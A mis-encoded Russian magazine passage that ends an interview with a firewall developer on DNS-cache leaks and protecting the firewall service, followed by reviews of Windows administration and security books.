ôàåðâîëà äëÿ âñåõ ïðèëîæåíèé, çà èñêëþ÷åíèåì ðÿäà
ñïåöèàëüíûõ óòèëèò.

XS: Â ÷åì îïàñíîñòü ðàçðåøåíèÿ âñòðîåííîãî DNS
Cache?

Ýß: Â Windows 2000 ïîÿâèëàñü âñòðîåííàÿ ôóíêöèÿ
êýøèðîâàíèÿ DNS çàïðîñîâ. Ýòîò, â îáùåì-òî, îòðàäíûé
ôàêò îìðà÷åí òåì, ÷òî äîñòóï â ñåòü äëÿ DNS çàïðîñà
îñóùåñòâëÿåòñÿ öåíòðàëèçîâàííî ïðîöåññîì
SVCHOST.EXE. Ñîîòâåòñòâåííî, ôàåðâîë íå ìîæåò óñòà-
íîâèòü ïðîöåññ, êîòîðûé èíèöèèðîâàë çàïðîñ. Ñèòóàöèÿ
îñëîæíÿåòñÿ òåì, ÷òî àòàêóþùåìó ïðîöåññó äëÿ ïåðåäà-
÷è íàðóæó ïðèâàòíîé èíôîðìàöèè â DNS ïàêåòå íå òðå-
áóåòñÿ ïðÿìîå îáðàùåíèå ê ñïåöèàëüíîìó DNS ñåðâåðó
- âñå çàïðîñû ê íåìó ïåðåäàäóòñÿ àâòîìàòè÷åñêè DNS
ñåðâåðîì, óêàçàííûì â ñåòåâûõ íàñòðîéêàõ. Ïîýòîìó äëÿ
ïîëíîé áåçîïàñíîñòè ñëåäóåò îòêëþ÷àòü âñòðîåííûé
DNS Cache è ãëîáàëüíîå ïðàâèëî ôàåðâîëà, ðàçðåøàþ-
ùåå DNS çàïðîñ. Îñòàâëÿòü òîëüêî ðàçðåøåíèå íà DNS
çàïðîñ äëÿ êîíêðåòíûõ ïðèëîæåíèé.

XS: Êàê äîëæíà áûòü ðåàëèçîâàíà çàùèòà îñòàíîâêè
ñåðâèñà ôàåðâîëà?

Ýß: Ïðàâèëüíî íàñòðîåííûé ôàåðâîë äîëæåí çàïðà-
øèâàòü ïàðîëü ïðè âûõîäå (îáû÷íî ýòà ïðîöåäóðà íåêî-
òîðûì îáðàçîì çàùèùåíà îò àâòîìàòèçàöèè), äëÿ òîãî
÷òîáû ïðåäîòâðàòèòü îñòàíîâêó ñåðâèñà àòàêóþùåé
ïðîãðàììîé. Â ñëó÷àå, åñëè àòàêóþùèé ïðîöåññ èìååò
äîñòàòî÷íî ïðèâèëåãèé äëÿ çàïèñè â ïàìÿòü ñåðâèñà ôà-
åðâîëà, çàùèòèòüñÿ îò îñòàíîâêè ñåðâèñà íåâîçìîæíî.
Äëÿ îáõîäà ýòîé óÿçâèìîñòè äðàéâåð ôàåðâîëà äîëæåí
óìåòü áëîêèðîâàòü âñþ ñåòåâóþ àêòèâíîñòü â ñëó÷àå
àâàðèéíîãî çàâåðøåíèÿ ñåðâèñà.

ÝÍÄÈ ßÌÎÂ, ÊÎÌÏÀÍÈß «ÀÃÍÈÒÓÌ», ÂÅÄÓÙÈÉ ÏÐÎÃÐÀÌÌÈÑÒ ÏÐÎÅÊÒÀ OUTPOST FIREWALL



ÑÊÎÐÎ Â ÑÏÅÖÅ:

Âçëîì è çàùèòà ïðîãðàìì
Öèôðîâîå âèäåî
Êîììåð÷åñêèé êîäèíã
Áàçû äàííûõ
Ìîáèëüíûå óñòðîéòâà è èç áåçîïàñíîñòü
Èíòåðíåò-äåíüãè
Êîìïüþòåðû áóäóùåãî
Áåçîïàñíîñòü ñåòåâûõ ïðîòîêîëîâ
*nix áåç ïðîáëåì! À
Í
Î
Í
Ñ

ÈÄÅÀËÜÍÛÉ PC
×èòàé â ñëåäóþùåì íîìåðå

Èäåàëüíûé êîìï äëÿ:
Õàêåðà
Ïðîãðàììèñòà
Ãåéìåðà
Äèçàéíåðà

Ìíåíèÿ ïîëüçîâàòåëåé, 
ëó÷øèå êîíôèãóðàöèè, ñîôò.

À òàêæå:
Èäåàëüíûé ìîáèëüíûé ÏÊ, 
ÊÏÊ, ñåðâåð è åùå 
êó÷à ñïîñîáîâ 
ïîðàäîâàòü ñåáÿ 
ïðèÿòíûì ïîäàðäêîì!

Íîâîãîäíèé íîìåð
Êó÷à áîíóñîâ, êîíêóðñû,
ïðèçû è ïîäàðêè!

ÂÅÑÜ

ÑÎÔÒ 

ÍÀ CD!



WINDOWS XP HOME
EDITION:
ÍÅÄÎÊÓÌÅÍÒÈÐÎÂÀÍÍÛÅ
ÂÎÇÌÎÆÍÎÑÒÈ

Äëÿ òåõ, êòî èñïîëü-
çóåò XP è íå äîâîëåí

ñòàíäàðòíûì ìàíóàëîì.
Íàñòðîéêà ðàáî÷åé ñðåäû,
ïàíåëåé óïðàâëåíèÿ è ìå-
íþ, èíñòðóìåíòàðèé äëÿ
óñòðàíåíèÿ íåïîëàäîê,
ñîâìåñòèìîñòü ðàçëè÷íûõ
âåðñèé ïðîãðàììíîãî îáåñ-
ïå÷åíèÿ, ñïåöèàëüíûå âîç-
ìîæíîñòè ðàáîòû êëàâèà-
òóðû è ìûøè, ñåêðåòû îá-
ùåãî äîñòóïà ê äèñêàì,
ïàïêàì è ïðèíòåðàì, ïî÷òà,
÷àòû è âèäåîêîíôåðåíöèè.
Óðîâåíü êíèãè - äëÿ íà÷è-
íàþùèõ.

ÎÁÍÀÐÓÆÅÍÈÅ
ÂÒÎÐÆÅÍÈÉ Â ÑÅÒÜ.
ÍÀÑÒÎËÜÍÀß ÊÍÈÃÀ
ÑÏÅÖÈÀËÈÑÒÀ ÏÎ
ÑÈÑÒÅÌÍÎÌÓ ÀÍÀËÈÇÓ

Èíîãäà êàæåòñÿ, ÷òî
ñåòè ñîçäàíû äëÿ òî-

ãî, ÷òîáû èõ ëîìàëè è ïðî-
íèêàëè â íèõ, âîðóÿ èëè
óíè÷òîæàÿ èíôîðìàöèþ.
Ýòà êíèãà ïîìîæåò òåáå
âûÿâëÿòü ñëàáûå ìåñòà â
ñèñòåìå, ïîâûøàòü áåçî-
ïàñíîñòü, ðàñïîçíàâàòü íà-
ïàäåíèÿ, èñïîëüçîâàòü
ôèëüòðû, ëîâóøêè è
áðàíäìàóýðû, ðàçëè÷àòü
íîðìàëüíûé è àíîìàëüíûé
òðàôèê, îòëè÷àòü ïðèçíàêè
ðåàëüíîãî íàïàäåíèÿ îò
ëîæíîé òðåâîãè è ïðèìå-
íÿòü ìåòîäû àâòîìàòèçà-
öèè ìîíèòîðèíãà ñåòè. Ïðî-
÷èòàåøü è ñòàíåøü íåïëî-
õèì àíàëèòèêîì ïî áåçî-
ïàñíîñòè :).

ÀÄÌÈÍÈÑÒÐÈÐÎÂÀÍÈÅ
WINDOWS Ñ ÏÎÌÎÙÜÞ
WMI È WMIC

Êíèãà ïîñâÿùåíà WMI
- òåõíîëîãèè óïðàâëå-

íèÿ è ñëåæåíèÿ çà ðàáîòîé
êîðïîðàòèâíîé ñåòè. Èñ-
ïîëüçóÿ WMI è ñïåöèàëü-
íûå ñöåíàðèè WSH
(Windows Script Host), ìîæ-
íî óïðàâëÿòü ðàçëè÷íûìè
âåðñèÿìè ÎÑ Windows (îá-
ðàùåíèå ê ñèñòåìíûì ñ÷åò-
÷èêàì, àíàëèç æóðíàëà ñî-
áûòèé, ðàáîòà ñ ôàéëîâîé
ñèñòåìîé, óïðàâëåíèå çàïó-
ùåííûìè ïðîöåññàìè è ñåð-
âèñàìè), ðåñóðñàìè è ñëóæ-
áàìè ñåòè (íàñòðîéêà ñåòå-
âûõ ñëóæá DNS, DHCP è ò.ï.,
óïðàâëåíèå ñåòåâûìè óñò-
ðîéñòâàìè, ïîääåðæèâàþ-
ùèìè òåõíîëîãèþ SNMP),
ñåðâåðíûìè ïðèëîæåíèÿìè
(Application Center,
Operations Manager,
Systems Management
Server, IIS, Exchange Server
è SQL server) è âåñòè ìîíè-
òîðèíã ñèñòåìû â ðåàëüíîì
âðåìåíè. Íà ïðèëàãàþùåì-

»

SPECial delivery ÎÁÇÎÐ ÊÍÈÃ100
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Ì.: Èçäàòåëüñòâî "Ëîðè"
2001
Ñòèâåí Íîðòêàòò
384 ñòðàíèöû
Ðàçóìíàÿ öåíà: 230 ðóáëåé

100 Îáçîð êíèã

104 WEB-îáçîð
Î áåçîïàñíîñòè Windows è íå
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2004
Ïîã Ä. 
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Ðàçóìíàÿ öåíà: 265 ðóáëåé

»
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2004
Ïîïîâ À.Â.
752 ñòðàíèöû
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ñÿ CD êó÷à ãîòîâûõ ñöåíà-
ðèåâ WMI íà VBScript è ïà-
êåòíûõ ôàéëîâ WMIC.

ÑÈÑÒÅÌÍÎÅ
ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÅ 
Â ÑÐÅÄÅ WIN32

Èñïîëüçîâàíèå èí-
òåðôåéñà ïðîãðàììè-

ðîâàíèÿ ïðèëîæåíèé Win32
API è çàðîæäàþùåãîñÿ
Win64 API. Ôàéëîâàÿ ñèñòå-
ìà Win32, ñèìâîëüíûé
ââîä/âûâîä, ðååñòð, ñòðóê-
òóðíàÿ îáðàáîòêà èñêëþ÷å-
íèé, ñëóæáû áåçîïàñíîñòè,
óïðàâëåíèå ïàìÿòüþ è DLL,
óïðàâëåíèå ïîòîêàìè è ïðî-
öåññàìè, ñèíõðîíèçàöèÿ,
ìåæïðîöåññîðíîå âçàèìî-
äåéñòâèå (ñ èñïîëüçîâàíè-
åì êàíàëîâ è ïî÷òîâûõ
ÿ÷ååê), ñåòåâîå ïðîãðàììè-
ðîâàíèå (ñ èñïîëüçîâàíèåì
ñîêåòîâ), ðàçðàáîòêà
ñëóæá NT, óäàëåííûé âû-
çîâ ïðîöåäóð, àðõèòåêòóðà
è ìîäåëè Win64, ïåðåíîñ
ñóùåñòâóþùåãî êîäà è
ìíîãîå äðóãîå.

WINDOWS XP: ÏÎËÍÛÉ
ÑÏÐÀÂÎ×ÍÈÊ Â
ÂÎÏÐÎÑÀÕ È ÎÒÂÅÒÀÕ

Áîëåå 1400 âîïðîñîâ
è îòâåòîâ íà íèõ. Ïîë-

íûì, êîíå÷íî, ýòîò ñïðàâî÷-
íèê íàçâàòü íåëüçÿ, íî íàè-
áîëåå ÷àñòî âñòðå÷àþùèå-
ñÿ âîïðîñû çäåñü óäà÷íî
ñîáðàíû è ñòðóêòóðèðîâàíû
ïî òåìàì. Ëþáàÿ íàñòðîéêà
ïðîñòà, íî ðàçëè÷íûõ íàñò-
ðîåê òûñÿ÷è è çàïîìíèòü òà-
êîå êîëè÷åñòâî ïðîñòî íå-
ðåàëüíî. Ïîýòîìó äàííîå
ïîñîáèå î÷åíü óäîáíî èñ-
ïîëüçîâàòü ïî ìåðå âîçíèê-
íîâåíèÿ ïðîáëåìû. Òåìû:

îñíîâíûå ïîíÿòèÿ XP, ðàáî-
òà ñ ïðèëîæåíèÿìè è äîêó-
ìåíòàìè, ðàáîòà ñ äèñêàìè,
ðàáîòà ñ ïàïêàìè è ôàéëà-
ìè, íàñòðîéêà ðàáî÷åé ñðå-
äû, ñòàíäàðòíûå ïðîãðàììû
îáùåãî íàçíà÷åíèÿ, óñòà-
íîâêà è íàñòðîéêà îáîðóäî-
âàíèÿ, ìóëüòèìåäèéíûå
ñðåäñòâà XP, àâòîìàòèçàöèÿ
ðàáîò è îáñëóæèâàíèå ñèñ-
òåìû, ðàáîòà â ñåòè è ò.ï.

ÁÅÇÎÏÀÑÍÎÑÒÜ
ÑÅÐÂÅÐÎÂ WINDOWS
NT/2000 Â ÈÍÒÅÐÍÅÒÅ

Ñåðâåðîâ íà áàçå
Windows NT/2000

äîñòàòî÷íî ìíîãî, è âîïðîñ
èõ áåçîïàñíîñòè - îäèí èç
ïåðâûõ. Êîíôèãóðàöèÿ ïî
óìîë÷àíèþ, ñîçäàâàåìàÿ
ïðè èíñòàëëÿöèè, äåëàåò
ñåðâåð ìèøåíüþ äëÿ àòàê.
Ýòà êíèãà ñîäåðæèò

èíñòðóêöèè äëÿ àäìèíèñò-
ðàòîðîâ ïî óñòàíîâêå è
ãðàìîòíîìó àäìèíèñòðèðî-
âàíèþ ñåðâåðà. Îïèñàíû
òèïè÷íûå áðåøè â áåçî-
ïàñíîñòè Windows
NT/2000, ñïîñîáû óêðåï-
ëåíèÿ (íàñòðîéêà ñëóæá,
ðåäàêòèðîâàíèå ðååñòðà,
óñòàíîâêà ïðàâ, êîíôèãó-
ðàöèÿ IPSec è ò.ä.), áåçî-
ïàñíîå óäàëåííîå àäìèíè-
ñòðèðîâàíèå (pcAnywhere,
ñëóæáû òåðìèíàëà
Windows 2000, OpenSSH,
TCP Wrappers, VNC è
Cygwin), ðåçåðâíîå êîïèðî-
âàíèå, âîññòàíîâëåíèå è
ìîíèòîðèíã.

ÀÇÁÓÊÀ
ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß
Â WIN32 API

Êíèæêà ñóãóáî äëÿ
ïðîãðàììèñòîâ. Ðàñ-

ñìàòðèâàþòñÿ âîïðîñû
ñîçäàíèÿ ïðèëîæåíèé äëÿ
Windows 95/NT. ×òî ïðèÿò-
íî, òàê ýòî çàâåðøåííûå è
ðåàëüíî ðàáîòàþùèå ïðè-
ìåðû, êîòîðûå ïðèâåäåíû
â òåêñòå. Â íèõ íàãëÿäíî
ïîêàçàíî, êàê ìîæíî èñ-
ïîëüçîâàòü âîçìîæíîñòè
Win32 API. Ïðè ýòîì ïðåä-
ïîëàãàåòñÿ, ÷òî òû óæå
çíàêîì ñ ÿçûêîì C/Ñ++.
Ñîäåðæàíèå ïîñòðîåíî òàê:
ñíà÷àëà ââîäíàÿ áàçà è
âîçìîæíîñòè öåëèêîì è
òîëüêî ïîòîì îáó÷åíèå íà-
âûêàì ñîçäàíèÿ ïîëüçîâà-
òåëüñêîãî èíòåðôåéñà. Òåì
ñàìûì àâòîð óêàçûâàåò,
÷òî äëÿ íàïèñàíèÿ ïåðâîé
ïðîãðàììû íóæíû äîñòà-
òî÷íî ãëóáîêèå çíàíèÿ. 

MICROSOFT WINDOWS XP
PROFESSIONAL. 
ÎÏÛÒ ÑÄÀ×È
ÑÅÐÒÈÔÈÊÀÖÈÎÍÍÎÃÎ
ÝÊÇÀÌÅÍÀ 70-270

Êíèãà ïîìîæåò ïîäãî-
òîâèòüñÿ ê ñåðòèôè-

öèðîâàííîìó ýêçàìåíó 70-
270: Installing, Configuring
and Administering Microsoft
Windows XP Professional. Â
îòëè÷èå îò ïîñîáèÿ MS, ýòî
íå ñóõîå èçëîæåíèå «âîï-
ðîñ-îòâåò», à ïîäðîáíûé
ðàçáîð âñåõ âàðèàíòîâ îò-
âåòîâ. Ñîäåðæàíèå ñîîòâå-
òñòâóåò òðåáîâàíèÿì êàí-
äèäàòîâ íà ñäà÷ó ýêçàìåíà,
òàê ÷òî ïîñëå ïðî÷òåíèÿ
ìîæåøü ñäàâàòüñÿ :). Áî-
íóñ - çàäàíèÿ òðåíèðîâî÷-
íîãî ýêçàìåíà, îòâåòû è
êîììåíòàðèè ê ýêçàìåíàöè-
îííûì âîïðîñàì, ïî êîòî-
ðûì òû ñìîæåøü îöåíèòü
ñòåïåíü ñâîåé ïîäãîòîâ-
ëåííîñòè.

ÃÎËÎÂÍÀß ÁÎËÜ
WINDOWS XP

Íàçâàíèå êíèãè êàê
íåëüçÿ ëó÷øå õàðàê-

òåðèçóåò XP ;), òàê êàê ïðè
ðàáîòå ñ íåé ïåðèîäè÷åñêè
âîçíèêàþò ïðîáëåìû. Äëÿ
óäîáñòâà âñå ïðîáëåìû ðàç-
áèòû ïî òåìàì - ïðîùå íàé-
òè ðåøåíèå ïî îãëàâëåíèþ.
Ñðåäè îïèñàííûõ ïðîáëåì:
íåïîëàäêè ïðè íàñòðîéêå
èíòåðôåéñà, íåïîëàäêè â
óïðàâëåíèè ïàïêàìè è ôàé-
ëàìè, íåïîëàäêè â îðãàíè-
çàöèè ðàáîòû íåñêîëüêèõ
ïîëüçîâàòåëåé, íåïîëàäêè â
ðàáîòå ñòàíäàðòíûõ è ïðèê-

Ì.: ÀÑÒ-Ïðåññ Êíèãà, Èçäàòåëü-
ñòâî "Ðàçâèòèå"
2004
Åâñååâ Ã.À.
496 ñòðàíèö
Ðàçóìíàÿ öåíà: 170 ðóáëåé
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ëàäíûõ ïðîãðàìì, íåïîëàä-
êè â ðàáîòå àïïàðàòíîãî
îáåñïå÷åíèÿ, íåïîëàäêè â
ðàáîòå äèñêîâûõ íàêîïèòå-
ëåé, íåïîëàäêè â ðàáîòå ïå-
ðèôåðèéíûõ óñòðîéñòâ, íå-
ïîëàäêè â ðàáîòå ïðèíòåðà,
ñêàíåðà è öèôðîâîé êàìå-
ðû, ïðîáëåìû ñîåäèíåíèÿ ñ
èíåòîì, íåïîëàäêè â ðàáîòå
Internet Explorer, íåïîëàäêè
â ðàáîòå Outlook Express,
íåïîëàäêè â ðàáîòå ëîêàëü-
íîé ñåòè, íåïîëàäêè ñ áûñò-
ðîäåéñòâèåì, íåïîëàäêè óñ-
òàíîâêè è çàãðóçêè ñèñòåìû.
Â êà÷åñòâå áîíóñà - 20 íàè-
áîëåå ÷àñòî âñòðå÷àþùèõ-
ñÿ íåïîëàäîê XP.

WINDOWS XP/2000.
ÂÎÏÐÎÑÛ È ÎÒÂÅÒÛ

Êíèãà èç ðàçðÿäà
Must Have! Áîëüøîé

ñïðàâî÷íèê, ïîñòðîåííûé
ïî ïðèíöèïó "âîïðîñ-îò-
âåò". Áîëåå 1000 âîïðîñîâ,
â îñíîâíîì êàñàþùèõñÿ
ïîâñåäíåâíîãî àäìèíèñòðè-
ðîâàíèÿ Windows XP/2000.
Êàæäûé âîïðîñ âêëþ÷àåò â
ñåáÿ îáçîð èñïîëüçóåìîé
òåõíîëîãèè, ïîíÿòíûå îáú-
ÿñíåíèÿ, ïîøàãîâûå
èíñòðóêöèè è ïðèìåðû ýô-
ôåêòèâíîãî ðåøåíèÿ îïè-
ñûâàåìîé ïðîáëåìû. Êàê
óñòàíîâèòü íà îäíîì êîìïü-
þòåðå Windows NT è Linux?
Êàê óñòàíîâèòü Windows NT
ïî ñåòè? Êàê èçìåíèòü ïî-
ðÿäîê çàïóñêà ñëóæá? Êàê
ðåçåðâèðîâàòü ñèñòåìíûé
ðååñòð? Ãäå õðàíèòñÿ ñïè-
ñîê êýøèðîâàííûõ äîìå-
íîâ? ×òî òàêîå ìàðøðóòè-
çàöèÿ è êàê åå íàñòðîèòü?
Êàê âêëþ÷èòü àóäèò îñíîâ-
íûõ îáúåêòîâ? Êàê îáìà-
íóòü ïðîãðàììó, ÷òîáû îíà
çàïóñêàëàñü êàê áóäòî â
NT/98/95? Êàê ñîõðàíèòü
èíôîðìàöèþ, êîòîðàÿ îòîá-
ðàæàåòñÿ íà ñèíåì ýêðàíå?
Îòâåòû â êíèæêå.

WINDOWS 2000:
ÊÎÌÀÍÄÛ. ÊÀÐÌÀÍÍÛÉ
ÑÏÐÀÂÎ×ÍÈÊ

Åñëè òû ïîñòîÿííî
ïîëüçóåøüñÿ êîìàí-

äàìè äëÿ êîìàíäíîé ñòðîêè
â Windows 2000 è Windows
NT Resource Kit, ýòîò ñïðà-
âî÷íèê íå ðàç òåáå ïðèãî-
äèòñÿ. Îí ñîäåðæèò ïðàêòè-
÷åñêè âñå êîìàíäû, ñ ïðèìå-
ðàìè è êîììåíòàðèÿìè: êî-
ìàíäû ñïðàâêè, îáùèå êî-
ìàíäû, àäìèíèñòðàòèâíûå

êîìàíäû, ðàáîòà ñ ôàéëàìè,
ðàáîòà ñ êàòàëîãàìè, ðàáîòà
ñ äèñêàìè è ôàéëîâûìè
ñèñòåìàìè, ñîâìåñòíîå èñ-
ïîëüçîâàíèå, ïå÷àòü, ñåòå-
âûå êîìàíäû, àäìèíèñòðè-
ðîâàíèå ïîëüçîâàòåëåé è
ãðóïï, óïðàâëåíèå ïðîöåñ-
ñàìè, óïðàâëåíèå ñëóæáà-
ìè, äîñòóï ê ñèñòåìíîìó ðå-
åñòðó, Active Directory è êî-
ìàíäû óïðàâëåíèÿ äîìåíîì
è ò.ä. Ïîìèìî êîìàíä êðàòêî
îïèñàí ÿçûê ïîäãîòîâêè
ñöåíàðèåâ (scripting lan-
guage) è ïðèâåäåíû ïîëåç-
íûå ññûëêè íà ðåñóðñû â
èíåòå.

ÂÍÓÒÐÅÍÍÅÅ
ÓÑÒÐÎÉÑÒÂÎ MICROSOFT
WINDOWS 2000.
ÌÀÑÒÅÐ-ÊËÀÑÑ

Åñëè òåáå èíòåðåñíî
çàãëÿíóòü âíóòðü

Windows 2000 è ïîíÿòü àë-
ãîðèòìû ðàáîòû åå êîìïî-
íåíòîâ, òî íåïðåìåííî ÷è-
òàé ýòó êíèãó. Òû ïîéìåøü,
êàê ôóíêöèîíèðóåò ñèñòå-
ìà, è ñìîæåøü ïðîåêòèðî-
âàòü ýôôåêòèâíûå ïðèëî-
æåíèÿ äëÿ ïëàòôîðìû
Windows 2000. Âîò òîëüêî
îñíîâíûå òåìû: àðõèòåêòó-
ðà ñèñòåìû è êëþ÷åâûõ
êîìïîíåíòîâ, ïðèíöèïû
âçàèìîäåéñòâèÿ, ïîäñèñòå-
ìû îêðóæåíèÿ (Win32,
POSIX, OS/2), äèñïåò÷åðè-
çàöèÿ ëîâóøåê è ïðåðûâà-
íèé, ñèíõðîíèçàöèÿ, ñèñòåì-
íûå ðàáî÷èå ïîòîêè, ïðî-
öåññû è çàäàíèÿ, óïðàâëå-
íèå ïàìÿòüþ (äèñïåò÷åðû
ïàìÿòè è êýøà, AWE è PAE),
ôàéëîâûå ñèñòåìû (FAT16,
FAT32, NTFS), ïîääåðæêà
ñåòåé è ìíîãîå äðóãîå. Íà
äèñêå ê êíèãå: óòèëèòû è
òåõíè÷åñêèå ñòàòüè ñ

www.sysinternals.com,
ýëåêòðîííàÿ âåðñèÿ ñàìîé
êíèãè íà àíãëèéñêîì è îò-
ëàä÷èê ÿäðà LiveKd, ïîçâî-
ëÿþùèé âåñòè îòëàäêó ñèñ-
òåìû, â îòëè÷èå îò ñòàíäà-
ðòíîãî îòëàä÷èêà ÿäðà, áåç
âòîðîãî êîìïüþòåðà.

ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÅ Â
ÑÅÒßÕ MICROSOFT
WINDOWS. ÌÀÑÒÅÐ-
ÊËÀÑÑ

Äëÿ òåõ, êòî èíòåðåñó-
åòñÿ ñåòåâûìè ôóíê-

öèÿìè Windows è çàíèìàåò-
ñÿ ðàçðàáîòêîé ñåòåâûõ
ïðèëîæåíèé íà ïëàòôîðìå
Win32 ñ èñïîëüçîâàíèåì
èíòåðôåéñîâ ïðîãðàììèðî-
âàíèÿ NetBIOS (òèïè÷íûå
ïðîöåäóðû è ñïðàâî÷íèê
êîìàíä) è Winsock (âêëþ÷àÿ
ïîääåðæèâàåìûå ïðîòîêî-
ëû, ñåìåéñòâà àäðåñîâ, ðàç-
ðåøåíèå èìåí, ìåòîäèêè
ââîäà-âûâîäà, ïàðàìåòðû
ñîêåòîâ è ñïðàâî÷íèê êî-
ìàíä). Äîïîëíèòåëüíûå âîç-
ìîæíîñòè Windows - QoS è
IP Helper. Íàãëÿäíîå ïðîã-
ðàììèðîâàíèå êëèåíòà RAS
âêëþ÷àÿ ðàáîòó ñ òåëåôîí-
íûì ñïðàâî÷íèêîì, ôóíêöè-
ÿìè áåçîïàñíîñòè, ðàçðå-
øåíèÿìè ïîëüçîâàòåëåé è
ò.ä. Ê êíèãå ïðèëàãàåòñÿ
äèñê, íà êîòîðîì òû íàé-
äåøü êîä ïðèìåðîâ íà C++
è Visual Basic, ïîëåçíûå
ïðîãðàììû è îáíîâëåíèÿ.

ÁÅÇÎÏÀÑÍÎÑÒÜ ÑÅÒÈ ÍÀ
ÎÑÍÎÂÅ WINDOWS 2000.
Ó×ÅÁÍÛÉ ÊÓÐÑ MCSE

Ñäàâàòü ñåðòèôèêà-
öèîííûé ýêçàìåí (70-

220 ïî ïðîãðàììå ñåðòè-
ôèêàöèè ñïåöèàëèñòîâ
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Ì.: Áèíîì-Ïðåññ
2004
Êóðò Ñèììîíñ
84 ñòðàíèöû
Ðàçóìíàÿ öåíà: 160 ðóáëåé

Ì.: Èçäàòåëüñêèé äîì "Âèëüÿìñ"
2004
Äæîí Ñàâèëë
1120 ñòðàíèö
Ðàçóìíàÿ öåíà: 430 ðóáëåé

»

Ì.: Ìèð
2003
Ýëèí Ôðèø
168 ñòðàíèö
Ðàçóìíàÿ öåíà: 80 ðóáëåé

»

ÑÏá.: Ïèòåð
2002
Ý. Äæîíñ
608 ñòðàíèö
Ðàçóìíàÿ öåíà: 195 ðóáëåé

»

»

ÑÏá.: Ïèòåð
2004
Ñîëîìîí Ä.
746 ñòðàíèö
Ðàçóìíàÿ öåíà: 385 ðóáëåé

»



MCSE ïî Windows 2000), ê
êîòîðîìó ãîòîâèò êíèæêà,
ñîâåðøåííî íåîáÿçàòåëü-
íî. Çàòî, ïðî÷èòàâ êíèãó,
òû ñìîæåøü ïðîåêòèðî-
âàòü çàùèùåííûå ñåòè íà
îñíîâå Windows 2000. 
Àóòåíòèôèêàöèÿ, çàùèòà
ôàéëîâûõ ðåñóðñîâ, âîç-
ìîæíîñòè øèôðîâàíèÿ
ôàéëîâîé ñèñòåìû, ïðîåê-
òèðîâàíèå ãðóïïîâîé ïîëè-
òèêè, çàùèòà òèïè÷íûõ
ñëóæá (DNS, DHCP, RIS,
SNMP è ñëóæá òåðìèíà-
ëîâ), ñåðòèôèêàöèÿ, çàùè-
òà ïðîòîêîëàìè ïðèêëàäíî-
ãî óðîâíÿ è IPSec, áåçîïàñ-
íîå ïîäêëþ÷åíèå óäàëåí-
íûõ ïîëüçîâàòåëåé è ìíî-
ãîå äðóãîå.

ÝÔÔÅÊÒÈÂÍÀß ÐÀÁÎÒÀ:
ÁÅÇÎÏÀÑÍÎÑÒÜ
WINDOWS

Êàæäûé äåíü ïîÿâëÿ-
þòñÿ íîâûå ñòðàøíûå

âèðóñû, à ÷èñëî áàãîâ â
Windows XP/2000 ðàñòåò
êàê íà äðîææàõ. Áåçîïàñ-
íîñòü ïðè ðàáîòå â ñåòè -
ïðîáëåìà íîìåð îäèí. Èç
êíèãè òû óçíàåøü, êàê âûñ-
òîÿòü â èíåòå ïðîòèâ âèðó-
ñîâ, ÷åðâåé è ñïàìà, êàê
ãðàìîòíî íàñòðîèòü äîñòóï
ê ñåòåâûì ðåñóðñàì (àóòåí-
òèôèêàöèÿ, ñåðòèôèêàòû,
ãðóïïîâàÿ ïîëèòèêà) è ìî-
íèòîðèòü ñèñòåìó. Îòäåëüíî

ðàññìîòðåíû íþàíñû èñ-
ïîëüçîâàíèÿ áðàíäìàóýðîâ
è äðóãèõ ïðèëîæåíèé, áëî-
êèðóþùèõ äîñòóï â ñèñòå-
ìó, áåñïðîâîäíûå ñåòè, óäà-
ëåííûé äîñòóï è ñåòè VPN.
Êîäèðîâàíèå ôàéëîâ è ïà-
ïîê, ãðóïïîâàÿ ïîëèòèêà è
øàáëîíû áåçîïàñíîñòè,
áëîêèðîâêà ïîðòîâ è àíà-
ëèç ñîáûòèé â ñèñòåìå áå-
çîïàñíîñòè.

WINDOWS XP. ÒÐÞÊÈ

100 ïðàêòè÷åñêèõ
ïðèåìîâ íàñòðîéêè

XP ïîä ñåáÿ, åñëè ñòàíäàðò-

íûõ âîçìîæíîñòåé òåáå óæå
ìàëî. Íàñòðîéêà ìíîãîâàðè-
àíòíîé çàãðóçêè, îòêëþ÷å-
íèå íåíóæíûõ ïðîãðàìì è
ñëóæá, íàñòðîéêà èíòåð-
ôåéñà ñ ïîìîùüþ TweakUI,
ðàáîòà ñ WindowBlinds,
PowerDesk, óòèëèòà Better
File Rename, ñæàòèå äàí-
íûõ, cookie, àíîíèìíîñòü â
èíòåðíåòå, íàñòðîéêà WiFi è
DNS, èñïîëüçîâàíèå áåñï-
ëàòíîãî áðàíäìàóýðà
ZoneAlarm è ïðîêñè-ñåðâå-
ðà, íàñòðîéêà øëþçà è èñ-
ïîëüçîâàíèå VPN, áëîêè-
ðîâêà ïîðòîâ, óäàëåííîå
óïðàâëåíèå êîìïîì, áîðüáà
ñî ñïàìîì, ðåäàêòèðîâàíèå
ðååñòðà, ðàáîòà ñî çâóêîì è
âèäåî, ïîâûøåíèå ïðîèçâî-
äèòåëüíîñòè, ðåçåðâíîå êî-
ïèðîâàíèå, âîññòàíîâëåíèå
ñèñòåìû è ìíîãî ÷åãî åùå.

ADMIN 911. ÃÐÓÏÏÎÂÛÅ
ÏÎËÈÒÈÊÈ WINDOWS
2000

Åñëè òû àäìèíèñòðè-
ðóåøü èëè ñîáèðà-

åøüñÿ àäìèíèñòðèðîâàòü
ñåòü íà Windows 2000, òî
îáÿçàòåëüíî ñòîëêíåøüñÿ ñ
ïðîáëåìîé èñïîëüçîâàíèÿ
ãðóïïîâûõ ïîëèòèê. Â êíèãå
ïîäðîáíî îïèñàíà àðõèòåê-
òóðà ãðóïïîâûõ ïîëèòèê è
ïðàêòè÷åñêèå ñïîñîáû îïòè-
ìèçàöèè ñ èñïîëüçîâàíèåì

Active Directory. Îòäåëüíî
ðàññìîòðåíû âîçìîæíîñòè
IntelliMirror: äèñêîâûå êâî-
òû, ïåðåàäðåñàöèÿ ïàïîê è
ðîóìèíã ïðîôàéëîâ ïîëüçî-
âàòåëåé. Îïèñàíû âîçìîæ-
íûå íåïîëàäêè, êîíôëèêòû
ñàéòîâûõ è äîìåííûõ ñòðà-
òåãèé è ñïîñîáû èõ óñòðàíå-
íèÿ. Èñïîëüçîâàíèå PolEdit,
Config.pol, Ntconfig.pol è
ADMT (Active Directory
Migration Tool).

MICROSOFT WINDOWS
2000. TCP/IP.
ÏÐÎÒÎÊÎËÛ È ÑËÓÆÁÛ

Äîñòàòî÷íî ïîäðîá-
íûé ñïðàâî÷íèê ïî
